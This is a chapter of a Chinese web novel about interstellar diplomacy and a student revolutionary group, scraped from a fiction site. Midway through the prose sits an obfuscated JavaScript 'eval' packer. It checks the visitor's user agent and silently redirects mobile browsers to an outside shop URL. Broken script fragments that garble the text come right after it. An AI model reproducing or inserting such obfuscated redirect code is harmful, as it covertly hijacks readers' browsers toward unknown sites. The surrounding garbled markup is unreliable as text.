文趣网 > 其他小说 > 丝绸星大学生逆袭笔记 > 15. 金错刀其十五
    迫于内外压力,朝廷不得不主动推进会谈进程。在经过数轮谈判后,扬塔星方面终于同意在赔款使用和虫洞登陆港共管区问题上做出部分让步。

    但是,诺路星问题仍然没有得到彻底解决。尽管扬塔星表面上承认丝绸星对诺路星的宗主权,但他们实际上怎么做,和嘴上说的可就是两码事了。

    “先生,尽管此次会谈我们做出了部分让步,但我们的星际地位无疑得到了提升,丝绸星承认了我们的合法地位。”星际联络部中,当秘书报告这一消息时,年轻的负责人正靠坐在黑色皮面的扶手办公椅中闭目养神,那张白皙得惊人的面庞上浮着一抹似有似无的笑意。

    “这在星际外交中,也算是比较常见的结果。”符铭说道,他没有睁开眼睛,“不过,既然我们做出了让步,我想慕容镜然那边,也应该对我们做出一些妥协了。”

    秘书挑眉道:“是啊。慕容镜然能当上这个皇帝,没有我们的暗中推动,只靠乌尔星人行么?他要是够识相,就应该学习布朗总统,抓紧时间与我们建交……”

    “这些是外星事务部的事情。”符铭似乎并不怎么在意慕容镜然的态度,他缓缓睁开双眼,坐直了身子,结束了短暂的闭目养神,“现在,还是说回我们的事情吧。”

    秘书知道他这个“我们的事情”是指什么,于是很流畅地接道:“烈流社员似乎也有一部分参与到了云锦区的学生运动中,比如说,易德天,他专程从花绸区赶回了云锦区参与游行。”

    符铭沉思片刻,问道:“丝绸星朝廷那边,议会改革还在推进?”

    “是。”

    符铭喃喃道:“烈流社……这个革命团体毕竟还是太年轻化了。年轻化有好处也有坏处,好处是他们能轻易与青年群体这一革命先锋力量建立起联系,动员能力较强,但坏处是容易情绪化。事实上,我认为此次那位易德天前往云锦区参与游行,这并不妥当。”

    “是啊,”秘书说道,“烈流社毕竟力量太小,截至目前,他们的社员不过百人。”

    “没错。其实这样的条件,并不足以支撑他们采取和我们一样的方式进行变革。”

    “先生,”秘书道,“您是说……”

    “没错。对于丝绸星的情况,我更推荐他们走议会改革这条路。”

    秘书在他看不见的地方撇了撇嘴:“先生,咱们与烈流社也联络了一阵子了,您觉得,他们会乐意选您推荐的这条道路吗?”

    “他们当然不会乐意。”符铭微微一笑,金眸被办公桌上的台灯的灯光一映,看上去如同晴朗天波光粼粼的湖面,“所以,需要有一个人出面去劝说他们。”

    秘书顿时明白了他的意思:“您要去丝绸星?亲自跟他们进行一次面对面的谈话?!”

    “嗯。”符铭站起身来,走到办公室角落处摆着的一面用作装饰的穿衣镜前,简单地整理了一下额前几根凌乱的铂银色发丝,“跟丝绸星的小朋友隔着一片星海交流了这么久,我也该亲自去见一见了。”

    “哦……我想领袖她会同意的。”秘书回过神来说道。从现在日日在斯维特宫里忙碌的那几位领导人前辈的视角看,这或许是符铭的一个锻炼外交能力的机会。

    “那么,现在便陪同我去斯维特宫吧。我需要和母亲谈谈这事。”

    *

    “……事实上我觉得,这次的谈判结果不能完全令人满意。你们看,整个会谈进程中,我们获取到的透明实时信息太少……”

    演辩社专用教室内,社员们这次的讨论比往日要平和许多。丝扬会谈结束了,部分内容和细节也逐渐公开。一些比较敏锐的学子们率先发现,似乎当时朝廷拖延会议并不是想对扬塔星妥协,而是在争取条件。

    而令许多人感到尴尬的是,他们当初群情激愤下组织起来的学生运动,表面上看督促了朝廷推进会谈进程,可如果再给朝廷一些谈判的时间和空间,有没有可能诺路星问题就能够得到彻底的解决呢?

    这样的疑问目前看来意义已经不大了。木已成舟,如今诺路星问题仍然横亘在两星之间,不知何年才能得到真正解决。众学子从会谈刚结束时认为自己的游行取得了成效的欣喜中冷静下来,现在想想,觉得他们当时的很多举动不说一无是处,也的确有些冲动和幼稚。

    晏酬坐在窗边的位置,手腕上的银镯在明媚阳光的照耀下亮如满天星辰。她没有坐到众人中央,而是坐在了人堆中较边缘的地方,静静地听着同学们的讨论。

    “是啊,”何跃说,“其实,我们当时没有必要那么急的,朝廷现在是真怕得罪我们,说不定宁可对外星人妥协,也不愿看到国内秩序失控。”

    “我看,”晏酬开口道,“大家也不用想太多。”

    见众人将目光一齐投向了她,晏酬接着说道:“即使当时你们不游行,结果也未必会比现在更好。我研究过诺路星问题,这事没那么简单,扬塔星那边不会那么轻易让步的。”

    有学弟听了这话有些迷茫:“啊……可是,扬塔星是说过要废除旧条约的呀。”

    晏酬冷笑一声,笑完她觉得自己这样可能有点伤人自尊心,于是便放柔了语气道:“朋友们,我看大家还是不要太过于迷恋扬塔星的好。再怎么说,那也是一个曾经欺负过我们、并在历史上长期与我们作对的强星,不是么?并不是说他们换了个政权,就什么都全变了,好好的一个星球突然变成白莲花了?我想,有点过头了吧。”

    她语气虽柔和,话的本质却是不客气。不少人低下了头。大部分学生的确对扬塔星抱有很强烈的好感,在慕容王朝的统治下,他们向往传闻中扬塔星的民主与平等,他们崇拜取得了胜利、处决了扬皇全家的扬塔星革命会,他们想变得和他们一样。毕竟,慕容王朝近在眼前,朝廷干过的丑事恶事他们都看倦了,而扬塔星离得远,如同一位披着神秘面纱的远方美人,很难不让他们对其心生向往。

    可这会儿他们想得再多也没用。毕竟他们现在只是学生,不少人待会儿甚至还得去上课。演辩社很快就空了一大半,何跃和晏酬今天倒是没课了,晏酬主动走到何跃身边,问他道:“德天兄呢?”

    “他?今天可能在家里吧。”何跃没想到她会突然问起易优。那天晏酬和易优吵了一架后,这二人还没有再见过面,“长岁,你找他有事吗?”

    晏酬摇了摇头,说:“没什么事。”

    何跃这会儿似乎不想和晏酬谈易优,他换了个话题问道:“长岁,你们最近交流得怎么样?”

    晏酬知道他问的是什么,言语间丝毫不露破绽地说:“就那样呗。人家没事儿还爱说教两句,但看得出来是真心实意的。”

    “谁啊?”旁边一位与他们熟识的学长突然凑过来问道,“长岁,你谈恋爱啦?”

    虽然在外谈起他们的工作会有意将之“生活化”以作掩饰,但晏酬没想到这学长会把她与扬塔星负责人之间的交流理解成这样,一时间瞠目结舌:“啊……”

    何跃也没想过这事还能往那方面联想。这学长不是烈流社员,不知道他们在打什么哑谜,但他作为烈流社的创始人之一可是门儿清,一时间表情古怪。

    晏酬面色很快就恢复如常:“那倒不是,只是一个一直纠缠我的追求者而已。”

    “什么!”那学长顿时来了兴致,拉着她似乎要详谈。晏酬这下是真有点头疼了,此时演辩社教室内本就没剩下几个人,她本想用两句话向何跃简单概括一下近期与扬塔星那边的联络情况,真没想到会搞成现在这样。关键是这学长和他们还都挺熟,平素就是个热心肠又爱说话的活泼性子,晏酬刚进演辩社时多次受其提携,到了这会儿还没法说人家冒犯。</p

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17660465|207061||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    >

    “呃……那个追求者比我大十几岁,是个相貌平平的老男人。没什么好谈的。反正我不可能喜欢这样的人。”晏酬难免稍稍有些烦躁,想随便说两句把这个话题揭过去了事。

    “比你大十几岁……那也才三十岁左右吧?我说长岁,这个年纪的人也不能说是老男人吧?”

    “你不懂。”何跃在一旁支着下巴,显然也来了兴致,想要捉弄晏酬一番,“人家长岁不早就说过吗?她喜欢年轻的男孩子,最好是和她年纪差不多大或者是比她小的。唉,很多大女子主义的女人都好这一口。”

    晏酬狠狠地剜了他一眼,语气淡淡地问道:“我是大女子主义么?”

    “有点啊。”何跃说,“你自己感觉不出来吗?”

    “那也和你没关系,反正不会看上你。”

    “嘿!我还不稀罕呢。“何跃叫道。

    “不过,长岁,”学长突然正色道,“我多嘴说两句啊,如果那男的真比你大这么多,还一直纠缠你的话,你可得小心点。已经步入社会的和还没步入社会的区别可大了,就算你聪明,人家的阅历摆在那儿,你可当心别上当受骗了。”

    “知道啦,放心吧。”晏酬心想,反正这个“追求者”也是她胡扯出来的。就算不是胡扯的,她怎么可能喜欢一个比她大十几岁的男人呢?这种男人是能支持他们的革命事业还是怎么着?

    “说得对、说得对,你这种家里的独苗在外面可得小心点,别被人轻易骗走了。”何跃煞有介事地附和道,得到了晏酬的又一个眼刀,“好啦,你们两位,食堂不是新开了一家烤鸭?反正一会儿没课,要不要去吃一顿?”

    学长笑道:“你们俩去吧,我待会儿还要去约会呢。”

    晏酬和何跃出了演辩社教室,四下张望一番见旁边没人,晏酬才给了何跃一拳道:“以后谈工作,还是得在咱们自己的地方谈!不要在外面随口提起了,这样风险太大,听到没?”

    “哦……行,之前不是想着提高效率吗?再说了,其实你也没说什么,都怪自行脑补的人!”何跃说道,“有可能是风月话本看多了。”

    “我看是。”晏酬想起自己刚才胡编乱造的话,自己都有点想笑,“我刚才说的话,可不能传到扬塔星那边人的耳朵里。太令人发笑了。”

    “确实是。”何跃若有所思道,“诶,不过话说回来,长岁,我还真挺好奇一直跟咱们联络的人是什么样子的。”

    “有什么好奇的?人家米海兄长什么样你没见过?”

    “不是说他!”何跃说,“我好奇的是那位一直和你联络的‘金珀’。”

    ‘金珀’,就是那位远在扬塔星的和他们联络的总负责人。晏酬猜想,这个名字大概不会是这位总负责人的真名,应该只是一个用来联络的代号。他们烈流社员在对外联络时也会使用代号,但晏酬知道,他们其中一些人的真实信息是被扬塔星那边的人所掌握的,这让她有时心里多少会感觉到不平衡,可是没办法,对方比他们这个小小的社团强大得不止一星半点,在地位本就不平等的情况下,弱小的一方是没有资本要求事事对等的。

    “难说。”晏酬摇了摇头,“任何群体都没办法用一个统一的形象来界定。比如说负责和咱们联络的那位吧,我感觉他有可能是位成熟稳重、少言寡语的中老年人,可万一人家就是位早熟的小年轻呢?这种事情说不准的。而且很多时候,用统一的形象去评判具体的个体会显得很冒犯,不是吗?”

    “有道理!”何跃一拍脑门,“我知道你说的那个东西叫做……‘刻板印象’!应该是这个吧?这是我最近在一篇外文报道上学来的词,好家伙,我觉得这个词描述得太妙了。我一直觉得,一个群体里那么多人,怎么可能统一形象呢?说不定,等某一天我们真的见到了那位神秘的大佬,会大吃一惊呢。”